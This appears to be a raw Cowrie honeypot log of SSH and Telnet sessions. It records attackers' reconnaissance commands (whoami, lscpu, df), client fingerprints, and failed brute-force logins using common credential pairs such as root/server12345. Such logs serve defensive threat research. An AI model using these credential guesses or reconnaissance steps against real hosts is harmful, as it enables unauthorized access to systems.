{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:08.744985Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:08.882160Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:09.219649Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:09.223459Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0013256072998,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:09.301953Z","src_ip":"181.96.157.227","session":"0cc68ad209bb","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:09.360573Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:09.677480Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:09.680715Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:09.843705Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:09.849491Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":59562,"dst_ip":"159.203.135.109","dst_port":22,"session":"93748a4a085b","protocol":"ssh","message":"New connection: 118.193.33.42:59562 (159.203.135.109:22) [session: 93748a4a085b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:45.685930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:45.691037Z","src_ip":"118.193.33.42","session":"93748a4a085b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:45.904120Z","src_ip":"118.193.33.42","session":"93748a4a085b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"rootroot","message":"login attempt [ubuntu/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:46.791111Z","src_ip":"118.193.33.42","session":"93748a4a085b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:48.017793Z","src_ip":"118.193.33.42","session":"93748a4a085b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":22396,"dst_ip":"159.203.135.109","dst_port":22,"session":"753c2ce4fb03","protocol":"ssh","message":"New connection: 118.193.33.42:22396 (159.203.135.109:22) [session: 753c2ce4fb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:24:57.981854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:24:57.990045Z","src_ip":"118.193.33.42","session":"753c2ce4fb03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:24:58.222832Z","src_ip":"118.193.33.42","session":"753c2ce4fb03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passw0rd","message":"login attempt [admin/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:24:59.172512Z","src_ip":"118.193.33.42","session":"753c2ce4fb03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:25:00.405777Z","src_ip":"118.193.33.42","session":"753c2ce4fb03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":24402,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d0b11bbb9bd","protocol":"ssh","message":"New connection: 194.59.206.2:24402 (159.203.135.109:22) [session: 8d0b11bbb9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:00.874077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:00.968931Z","src_ip":"194.59.206.2","session":"8d0b11bbb9bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:00.972888Z","src_ip":"194.59.206.2","session":"8d0b11bbb9bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:01.170041Z","src_ip":"194.59.206.2","session":"8d0b11bbb9bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":40216,"dst_ip":"159.203.135.109","dst_port":22,"session":"8807682c5d4e","protocol":"ssh","message":"New connection: 118.193.33.42:40216 (159.203.135.109:22) [session: 8807682c5d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:07.424753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:07.430705Z","src_ip":"118.193.33.42","session":"8807682c5d4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:07.667002Z","src_ip":"118.193.33.42","session":"8807682c5d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nfsuser","password":"nfsuser","message":"login attempt [nfsuser/nfsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:08.698738Z","src_ip":"118.193.33.42","session":"8807682c5d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:09.928403Z","src_ip":"118.193.33.42","session":"8807682c5d4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":49786,"dst_ip":"10.17.0.5","dst_port":22,"session":"63c035f7e207","protocol":"ssh","message":"New connection: 152.244.206.148:49786 (10.17.0.5:22) [session: 63c035f7e207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:39.737861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:39.742628Z","src_ip":"152.244.206.148","session":"63c035f7e207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:39.877961Z","src_ip":"152.244.206.148","session":"63c035f7e207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456789.","message":"login attempt [root/A123456789.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:40.455056Z","src_ip":"152.244.206.148","session":"63c035f7e207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:26:41.592608Z","src_ip":"152.244.206.148","session":"63c035f7e207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":58046,"dst_ip":"159.203.135.109","dst_port":22,"session":"b47e9d93b8a9","protocol":"ssh","message":"New connection: 118.193.33.42:58046 (159.203.135.109:22) [session: b47e9d93b8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:27:17.755476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:27:17.760469Z","src_ip":"118.193.33.42","session":"b47e9d93b8a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:27:17.990664Z","src_ip":"118.193.33.42","session":"b47e9d93b8a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server12345","message":"login attempt [root/server12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:27:18.916706Z","src_ip":"118.193.33.42","session":"b47e9d93b8a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:27:20.147102Z","src_ip":"118.193.33.42","session":"b47e9d93b8a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":20870,"dst_ip":"159.203.135.109","dst_port":22,"session":"e494fbcf3068","protocol":"ssh","message":"New connection: 118.193.33.42:20870 (159.203.135.109:22) [session: e494fbcf3068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:28:23.088937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:28:23.106949Z","src_ip":"118.193.33.42","session":"e494fbcf3068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:28:23.318185Z","src_ip":"118.193.33.42","session":"e494fbcf3068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hadoop@123","message":"login attempt [root/hadoop@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:28:24.209980Z","src_ip":"118.193.33.42","session":"e494fbcf3068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:28:25.437541Z","src_ip":"118.193.33.42","session":"e494fbcf3068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":38698,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ca354f04d4d","protocol":"ssh","message":"New connection: 118.193.33.42:38698 (159.203.135.109:22) [session: 0ca354f04d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:29:31.948849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:29:31.953221Z","src_ip":"118.193.33.42","session":"0ca354f04d4d","protocol":"ssh"}
